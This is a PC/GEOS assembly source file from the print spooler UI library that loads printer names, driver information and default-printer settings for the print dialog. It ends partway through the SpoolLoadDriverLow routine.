4.82,33.41,Present,62,14.70, 0.00,46,1
{ "pile_set_name": "Github" }
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: Library/Spool/UI FILE: uiSpoolSummonsPrint.asm AUTHOR: Don Reeves, March 30, 1990 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Don 3/30/90 Initial revision DESCRIPTION: Contains all the procedures & method handlers that retrieve information from the printer drivers and .INI file(s). $Id: uiSpoolSummonsPrint.asm,v 1.1 97/04/07 11:10:39 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpoolSummonsCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpoolSummonsPrinterInstalledRemoved %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notification that a printer device was added or removed CALLED BY: GLOBAL (MSG_PRINTER_INSTALLED_REMOVED) PASS: *DS:SI = SpoolSummonsClass object DS:DI = SpoolSummonsClassInstance RETURN: Nothing DESTROYED: AX, CX, DX, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 3/ 8/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpoolSummonsPrinterInstalledRemoved method dynamic SpoolSummonsClass, MSG_PRINTER_INSTALLED_REMOVED ; If there are no more printers, close the print dialog. ; Otherwise, just re-initialize. ; or ds:[di].SSI_flags, mask SSF_RELOAD_PRINTER_LIST mov cx, PDT_ALL_LOCAL_AND_NETWORK call SpoolGetNumPrinters tst ax jz bringDown call SpoolSummonsInitialize jmp exit bringDown: mov ax, MSG_GEN_GUP_INTERACTION_COMMAND mov cx, IC_DISMISS mov si, offset PrinterChangeBox call ObjCallInstanceNoLock mov ax, MSG_GEN_GUP_INTERACTION_COMMAND mov cx, IC_DISMISS mov si, offset PrintDialogBox call ObjCallInstanceNoLock exit: ret SpoolSummonsPrinterInstalledRemoved endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpoolSummonsRequestPrinterMoniker %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Sets the moniker (a printer name) for a single list entry CALLED BY: UI (MSG_META_GEN_LIST_REQUEST_ENTRY_MONIKER) PASS: DS:*SI = SpoolSummons object DS:DI = SpoolSummons instance data CX:DX = OD of the dynamic list BP = Requested entry # RETURN: Nothing (but a method is sent back) DESTROYED: AX, BX, CX, DX, DI, SI, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 3/30/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpoolSummonsRequestPrinterMoniker method dynamic SpoolSummonsClass, MSG_SPOOL_SUMMONS_REQUEST_PRINTER_MONIKER .enter ; ; Make sure we've actually got a printer tst ds:[di].SSI_printDataHan jz done ; Access the printer strings ; push si ; save the SpoolSummons chunk push ds, dx ; save the GenDynamicList OD call SSOpenPrintStrings ; lock the file, etc... mov dx, bp ; printer number => DX call SpoolSummonsGetPrinterCategory ; string => DS:SI ; string length => CX ; Send method to the GenDynamicList ; mov cx, ds mov dx, si ; printer name => CX:DX pop ds, si ; GenDynamicList OD => DS:SI mov ax, MSG_GEN_DYNAMIC_LIST_REPLACE_ITEM_TEXT call ObjCallInstanceNoLock ; send the message ; Finally, unlock the strings block ; pop si ; restore SpoolSummons chunk call SSClosePrintStrings ; close the print strings done: .leave ret SpoolSummonsRequestPrinterMoniker endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpoolSummonsLoadPrinters %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Load all the available printers from the .INI file CALLED BY: GLOBAL PASS: DS:*SI = SpoolSummons instance data RETURN: AX = Number of VALID printers CX = Number of printers DX = Currently selected printer DS:DI = SpoolSummonsInstance Carry = Set if need to reset everything = Clear if nothing has changed DESTROYED: BX PSEUDO CODE/STRATEGY: Should be called each time the SpoolSummons comes on screen. KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 3/30/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpoolSummonsLoadPrinters proc near class SpoolSummonsClass uses bp, es .enter ; See if we need to reload our data ; mov di, ds:[si] ; dereference the handle add di, ds:[di].SpoolSummons_offset ; access the instance data test ds:[di].SSI_flags, mask SSF_RELOAD_PRINTER_LIST jz exit ; if no changes, do nothing ; First remove the old UI, if necessary ; andnf ds:[di].SSI_flags, not (mask SSF_RELOAD_PRINTER_LIST) mov cx, ds:[di].SSI_currentPrinter ; printer # => CX call RemovePrinterUIBoth ; remove all current UI ; Load all the names of the printer devices into a block ; call SpoolSummonsLoadPrinterNames ; # of devices => AX ; memory block => BX ; memory block size => CX ; default system printer => DI ; Store away the data ; mov bp, ds:[si] ; dereference the handle add bp, ds:[bp].SpoolSummons_offset ; access my instance data mov ds:[bp].SSI_numPrinters, ax ; store number of printers xchg ds:[bp].SSI_printDataHan, bx ; and the printers data handle mov ds:[bp].SSI_printDataLen, cx ; and the length of the data mov ds:[bp].SSI_sysDefPrinter, di ; store the system's default mov dx, ds:[bp].SSI_appDefPrinter ; application default => DX mov cx, ax ; number of printers => CX & AX tst bx ; was there an old data handle jz done ; no, so go on call MemFree ; else free this block handle ; Exit here done: call SpoolSummonsLoadInfo ; load all the information call SpoolSummonsAssignDefault ; assign the default printer mov di, ds:[si] ; dereference the handle add di, ds:[di].SpoolSummons_offset ; access my instance data mov ax, ds:[di].SSI_numValidPrinters mov ds:[di].SSI_currentPrinter, -1 ; reset the current printer stc ; must reset everything exit: .leave ret SpoolSummonsLoadPrinters endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpoolSummonsLoadPrinterNames %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Load the printer names for the current driver type CALLED BY: SpoolSummonsLoadPrinters PASS: *DS:SI = SpoolSummonsClass object RETURN: AX = Number of devices BX = Handle of block holding device strings (NULL if none) CX = Size of memory block DI = Default system printer DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 11/ 2/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpoolSummonsLoadPrinterNames proc near class SpoolSummonsClass uses si, es .enter ; Get the number of device available ; mov di, ds:[si] add di, ds:[di].SpoolSummons_offset mov cl, ds:[di].SSI_driverType mov dh, cl clr ch call SpoolGetNumPrinters ; number of printers => AX tst ax jz error ; Allocate a block large enough to hold the device strings ; push ax mov cl, GEODE_MAX_DEVICE_NAME_SIZE mul cl ; # of byte => AX mov si, ax mov bx, ds:[LMBH_handle] call MemOwner ; owner (app process) => BX mov cx, mask HF_SHARABLE or mask HF_SWAPABLE or \ ((mask HAF_LOCK) shl 8) call MemAllocSetOwner pop bp ; max # of printers => BP jc error ; if no memory, fail ; Load the printer names, one by one. Register usage: ; AX = Printer # ; CX = Valid # of printers ; DH = PrinterDeviceType we want ; BP = Total # of printers ; ES:DI = Buffer for printer names ; mov es, ax clr ax, cx, di stringLoop: push cx call SpoolGetPrinterString ; fill buffer with string pop cx jc noMore inc ax cmp dh, PDT_ALL ; if looking for all devices je havePrinter ; ...then skip none cmp dl, dh ; else compare device types jne stringLoop ; ...and skip mismatches havePrinter: inc cx cmp cx, bp je noMore add di, GEODE_MAX_DEVICE_NAME_SIZE jmp stringLoop ; OK, we've loaded all of the printers. Clean up & ; choose the default printer. If we have PDT_ALL or ; PDT_PRINTER, use the value in the .INI file. Else, ; choose the first device. noMore: call MemUnlock ; unlock device strings block call SpoolGetDefaultPrinter ; default printer => AX cmp dh, PDT_PRINTER ; if device = printer je done ; ...use returned value clr ax ; else use first device done: mov_tr di, ax ; default => DI mov_tr ax, cx ; # of devices => AX mov cx, si ; size of block => CX exit: .leave ret ; Some sort of error was returned. Abort, abort. error: clr ax, bx, cx, di jmp exit SpoolSummonsLoadPrinterNames endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpoolSummonsLoadInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Load all the information about every printer CALLED BY: SpoolSummonsLoadPrinters PASS: DS:*SI = SpoolSummonsClass instance data RETURN: AX = Chunk handle to the PrinterInfoTable = 0 if no printers DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 6/14/90 Initial version Don 4/18/91 Only initialize structures - load no printers %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpoolSummonsLoadInfo proc near class SpoolSummonsClass uses cx, dx, di .enter ; Destroy the old handle, allocate a new buffer ; mov di, ds:[si] ; dereference the handle add di, ds:[di].SpoolSummons_offset mov cx, ds:[di].SSI_numPrinters ; number of printers => CX clr ax xchg ax, ds:[di].SSI_printInfoChunk mov ds:[di].SSI_numValidPrinters, 0 ; assume no valid printers tst ax ; invalid handle ?? jz getNew ; yes, so jump call LMemFree ; free the chunk clr ax ; now there's no handle getNew: jcxz done ; no printers (AX = 0) push cx ; save the number if printers mov al, size PrinterInfoStruct mul cl ; assume < 256 printers mov cx, ax ; size => CX mov al, mask OCF_IGNORE_DIRTY ; ignore dirty call LMemAlloc ; allocate the chunk mov di, ds:[si] ; dereference the handle add di, ds:[di].SpoolSummons_offset ; access the instance data mov ds:[di].SSI_printInfoChunk, ax ; store the new chunk pop cx ; number of printers => CX ; Initialize all the PrinterInfoStructs ; mov di, ax ; information chunk => DI mov di, ds:[di] ; dereference handle initLoop: mov ds:[di].PIS_info, 0 ; not initialized add di, size PrinterInfoStruct ; go to the next structure loop initLoop done: .leave ret SpoolSummonsLoadInfo endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpoolSummonsAssignDefault %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Assign the default printer, based upon the application's desires and what printers are valid CALLED BY: SpoolSummonsLoadPrinters PASS: DS:*SI = SpoolSummonClass instance data AX = PrinterInfoChunk handle CX = Number of printers DX = Application default printer DI = System default printer RETURN: DX = Default printer DESTROYED: AX, BX, DI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 6/18/90 Initial version Don 4/18/91 Call standard routine to load printer info %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpoolSummonsAssignDefault proc near uses cx .enter ; Test the default case ; tst ax ; any information chunk jz done cmp dx, -1 ; no application default ?? jne defaultLoop mov dx, di ; else use system default jmp defaultLoop ; Find a default printer startLoop: clr ax, dx ; start at printer zero defaultLoop: xchg cx, dx call AccessPrinterInfoStruct xchg cx, dx jc tryAnother ; if invalid, try another test ds:[di].PIS_info, mask SSPI_VALID jnz done tryAnother: tst ax jnz startLoop inc dx ; go to the next printer loop defaultLoop mov dx, -1 ; no default found = ouch! done: .leave ret SpoolSummonsAssignDefault endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpoolSummonsGetPrinterCategory %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Returns the appropriate printer category string CALLED BY: GLOBAL PASS: DS:DI = Printer data strings CX = Number of bytes in the strings block DX = Number of string to access (0 is the first) RETURN: DS:SI = Requested string CX = Length of the string DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 3/30/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SSGetPrinterCategory proc far call SpoolSummonsGetPrinterCategory ret SSGetPrinterCategory endp SpoolSummonsGetPrinterCategory proc near uses ax, di, es .enter ; Now that the printer names are stored in an array, this is simple ; EC < cmp dx, MAXIMUM_NUMBER_OF_PRINTERS > EC < ERROR_A SPOOL_SUMMONS_TOO_MANY_PRINTERS > mov al, GEODE_MAX_DEVICE_NAME_SIZE mul dl mov si, ax ; printer name => DS:SI ; Now calculate the length of the string ; segmov es, ds mov di, ax ; start of string => ES:DI call LocalStringLength ; cx <- length w/o NULL .leave ret SpoolSummonsGetPrinterCategory endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpoolSummonsGetPrinterInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Returns the printer information for a specific printer CALLED BY: SpoolSummonsPrinterSelected PASS: DS:*SI = SpoolSummonsClass instance data CX = Printer number RETURN: CL = PaperInputOptions CH = Maximum PaperSizes DL = Printer attributes DH = SpoolSummonsPrinterInfo (If not valid, CX contains the PRINT_CONTROL_ERROR enumerated type to use in an error box) DESTROYED: DI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 6/14/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpoolSummonsGetPrinterInfo proc near uses ax .enter ; Now get out the information ; clr dx ; assume no printers call AccessPrinterInfoStruct mov cx, PCERR_NO_PRINTERS ; assume no printers jc done ; fail if error mov dl, ds:[di].PIS_POM mov dh, ds:[di].PIS_info mov cx, ds:[di].PIS_error ; error, just in case done: .leave ret SpoolSummonsGetPrinterInfo endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AccessPrinterInfoStruct %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Returns pointer to the proper PrinterInfoStruct CALLED BY: INTERNAL PASS: DS:*SI = SpoolSummonsClass specific instance data CX = Printer number (0 to MAXIMUM_NUMBER_OF_PRINTERS) RETURN: DS:DI = PrinterInfoStruct Carry = Set if no such printer DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 2/26/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AccessPrinterInfoStruct proc near class SpoolSummonsClass uses ax, cx .enter ; Access the correct PrinterInfoStruct ; EC < cmp cx, MAXIMUM_NUMBER_OF_PRINTERS > EC < ERROR_A SPOOL_SUMMONS_TOO_MANY_PRINTERS > mov di, ds:[si] ; dereference the handle add di, ds:[di].SpoolSummons_offset ; access the instance data cmp cx, ds:[di].SSI_numPrinters ; if printer # too large, error jae error ; printer # too large! push cx ; save printer number mov di, ds:[di].SSI_printInfoChunk ; table chunk => DI mov di, ds:[di] ; dereference the chunk mov al, size PrinterInfoStruct mul cl add di, ax ; DS:DI => PrinterInfoStruct pop cx ; printer number => CX test ds:[di].PIS_info, mask SSPI_INITIALIZED jnz done call LoadPrinterInfo ; load printer information done: .leave ret error: stc jmp done AccessPrinterInfoStruct endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LoadPrinterInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Load the printer information for a specific printer CALLED BY: AccessPrinterInfoStruct PASS: DS:*SI = SpoolSummonClass instance data DS:DI = PrinterInfoStruct CX = Printer number RETURN: Nothing DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 4/18/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ LoadPrinterInfo proc near uses ax, bx, cx, dx, di, es class SpoolSummonsClass .enter ; Some set-up work ; push si ; save the SpoolSummons chunk segmov es, ds ; PrinterInfoStruct => ES:DI or es:[di].PIS_info, mask SSPI_INITIALIZED push di, cx call SSOpenPrintStrings ; open the print strings pop dx ; printer number => DX call SpoolSummonsGetPrinterCategory ; device name => DS:SI pop di ; PrinterInfoStruct => ES:DI ConvPrinterNameToIniCat ; Now grab all the specific information ; call GrabPrinterInfo ; grab the printer information ConvPrinterNameDone ; Now clean up ; segmov ds, es ; PrinterInfoStruct => DS:DI pop si ; restore the chunk handle mov di, ds:[si] ; dereference the handle add di, ds:[di].SpoolSummons_offset ; access my instance data test dl, mask SSPI_VALID ; valid printer ?? jz done inc ds:[di].SSI_numValidPrinters done: call SSClosePrintStrings ; unlock the string block .leave ret LoadPrinterInfo endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrabPrinterInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Grab specific information from the printer CALLED BY: LoadPrinterInfo PASS: DS:SI = Printer name string ES:DI = PrinterInfoStruct RETURN: DL = SpoolSummonsPrinterInfo SSPI_VALID is important DESTROYED: AX, CX, DH PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 4/11/90 Initial version Don 5/9/90 Perform some wonderful error checking Don 2/22/91 Cleaned up the code %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ssPortString byte 'port', 0 GrabPrinterInfo proc near uses bx, bp, ds, es, si SBCS < deviceName local (MAX_DEVICE_NAME_SIZE) dup (char) > DBCS < deviceName local (MAX_DEVICE_NAME_SIZE) dup (wchar) > driverStrategy local fptr.far printInfo local SpoolSummonsPrinterInfo .enter ; Determine if we are printing to a file or not ; mov printInfo, 0 ; initalize to zero push es, di, bp ; save local variable staff mov cx, cs mov dx, offset SpoolSummonsCode:ssPortString segmov es, ss lea di, ss:[deviceName] ; ES:DI is the buffer (temp) SBCS < mov bp,(MAX_DEVICE_NAME_SIZE) or INITFILE_UPCASE_CHARS> DBCS < mov bp,(MAX_DEVICE_NAME_SIZE*(size wchar)) or INITFILE_UPCASE_CHARS> call InitFileReadString pop bp ; local variables => BP jc getDriverName ; if failure, give up SBCS < cmp {char} es:[di], 'F' ; F as in "FILE" ?? > DBCS < cmp {wchar} es:[di], 'F' ; F as in "FILE" ?? > jne getDriverName or printInfo, mask SSPI_PRINT_TO_FILE ; Get the driver name (SpoolSummonsPrinterInfo in AL) getDriverName: call SpoolLoadDriverLow ; load the printer driver pop es, di ; restore saved data jc fail ; Access the PrintDriverInfo block ; mov driverStrategy.offset, cx mov driverStrategy.segment, dx ; store the FAR address push bx ; save the Driver handle xchg ax, bx ; PState handle => BX push di ; save the PrinterInfoStruct mov di, DR_PRINT_DRIVER_INFO call driverStrategy ; PrintDriverInfo => DX:SI xchg bx, dx call MemLock add si, size DriverExtendedInfoTable mov ds, ax ; PrintDriverInfo => DS:SI pop di ; PrinterInfoStruct => ES:DI push di call CopyDriverInfo ; copy the driver information call MemUnlock mov bx, dx ; PState handle => BX ; Access the PrinterInfo block for this specific printer ; mov di, DR_PRINT_DEVICE_INFO ; get the print device info call driverStrategy ; PrinterInfo => DX:SI call MemFree ; free the PState mov bx, dx ; PrinterInfo handle => BX tst bx ; if null handle returned, jz deviceInvalid ; ...device is bogus call MemLock ; lock the handle mov ds, ax ; DS:SI => PrinterInfo pop di ; ES:DI => PrinterInfoStruct call CopyPrinterInfo ; copy all the data over call MemUnlock ; unlock the PrinterInfo mov dl, mask SSPI_VALID freeDriver: pop bx ; restore the Driver Handle push ds segmov ds,es call SpoolFreeDriver ; free up the driver pop ds jmp done ; and we're done ; Assume after this point that PrinterInfoStruct is in ES:DI fail: mov es:[di].PIS_error, ax ; store cause of error clr dl done: or dl, printInfo ; include earlier information or es:[di].PIS_info, dl ; store SSPI_VALID or not .leave ret ; Handle invalid device case (SpoolLoadDriverLow will never ; catch this case because UserLoadExtendedDriver does not) deviceInvalid: pop di ; ES:DI => PrinterInfoStruct mov es:[di].PIS_error, PCERR_PRINTER_NOT_KNOWN clr dl ; don't set SSPI_VALID jmp freeDriver GrabPrinterInfo endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpoolLoadDriver %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Load a printer driver CALLED BY: EXTERNAL PASS: *DS:SI = SpoolSummonsClass object DX = Printer number RETURN: see SpoolLoadDriverLow DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 2/21/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpoolLoadDriver proc near uses di .enter ; Set up for lower-level call ; push ds, dx ; save segment, printer number call SSOpenPrintStrings pop dx call SpoolSummonsGetPrinterCategory ; printer category => DS:SI ConvPrinterNameToIniCat call SpoolLoadDriverLow ; load the printer driver ConvPrinterNameDone ; Clean up ; pop ds pushf ; save carry result mov si, offset PrintDialogBox ; SpoolSummonsClass => DS:*SI call SSClosePrintStrings popf ; restore carry .leave ret SpoolLoadDriver endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpoolFreeDriver %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Free a driver CALLED BY: UTILITY PASS: DS = Segment of SpoolSummons object BX = Handle of driver or FREE_DRIVER_IMMEDIATELY RETURN: Nothing DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 3/ 8/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpoolFreeDriver proc near class SpoolSummonsClass uses bx, si .enter ; We cache this driver, and free the currently cached driver ; mov si, offset PrintDialogBox EC < call ECCheckObject > mov si, ds:[si] add si, ds:[si].SpoolSummons_offset xchg bx, ds:[si].SSI_cachedDriver tst bx jz done ; See if drivers should be freed immediately, in case ; this object is getting destroyed. Make sure we handle ; a case where FREE_DRIVER_IMMEDIATELY is passed more ; than once. ; cmp bx, FREE_DRIVER_IMMEDIATELY jne freeDriver xchg bx, ds:[si].SSI_cachedDriver cmp bx, FREE_DRIVER_IMMEDIATELY je done freeDriver: call GeodeFreeDriver done: .leave ret SpoolFreeDriver endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpoolFreeDriverAndUIBlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Free a driver and a memory block that was duplicated from a resource in that driver CALLED BY: UTILITY PASS: DS = Segment of SpoolSummons object BX = Handle of driver CX:DX = OD of object in duplicated tree RETURN: Nothing DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 3/ 8/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpoolFreeDriverAndUIBlock proc near class SpoolSummonsClass uses ax, cx, dx, di, si, bp .enter ; Record an event we will send to ourselves ; mov ax, MSG_SPOOL_SUMMONS_FREE_UI_BLOCK_AND_DRIVER mov bp, bx ; driver handle => BP mov bx, ds:[LMBH_handle] mov si, offset PrintDialogBox mov di, mask MF_RECORD call ObjMessage ; Now flush the input queue for the block ; mov ax, MSG_META_OBJ_FLUSH_INPUT_QUEUE mov dx, cx ; handle of block to be freed mov cx, di ; event to send ourselves clr bp ; start the flush process call ObjCallInstanceNoLock .leave ret SpoolFreeDriverAndUIBlock endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpoolSummonsFreeUIBlockAndDriver %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Message sent back after flusing UI queue CALLED BY: GLOBAL (MSG_SPOOL_SUMMONS_FREE_UI_BLOCK_AND_DRIVER) PASS: *DS:SI = SpoolSummonsClass object DS:DI = SpoolSummonsClassInstance CX:DX = OD of object in duplicated block BP = Handle of driver to free RETURN: Nothing DESTROYED: AX, CX, DX, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 11/16/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpoolSummonsFreeUIBlockAndDriver method dynamic SpoolSummonsClass, MSG_SPOOL_SUMMONS_FREE_UI_BLOCK_AND_DRIVER .enter ; First free the block ; push bp mov ax, MSG_META_BLOCK_FREE mov bx, cx mov si, dx ; duplicated tree => BX:SI mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage ; Now free the driver ; pop bx call SpoolFreeDriver .leave ret SpoolSummonsFreeUIBlockAndDriver endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SpoolLoadDriverLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Load a printer driver CALLED BY: SpoolLoadDriver(), GrabPrinterInfo() PASS: DS:SI = Printer category name ES = Segment holding SpoolSummons object RETURN: AX = PState handle BX = Driver handle DX:CX = Driver Strategy Carry = Clear (success) - or - AX = PrinterControlErrors BX = garbage DX:CX = garbage Carry = Set (failure) DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: Call SpoolFreeDriver instead of GeodeFreeDriver to free the just-loaded printer driver REVISION HISTORY: Name Date Description ---- ---- ----------- Don 4/17/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SpoolLoadDriverLow proc near 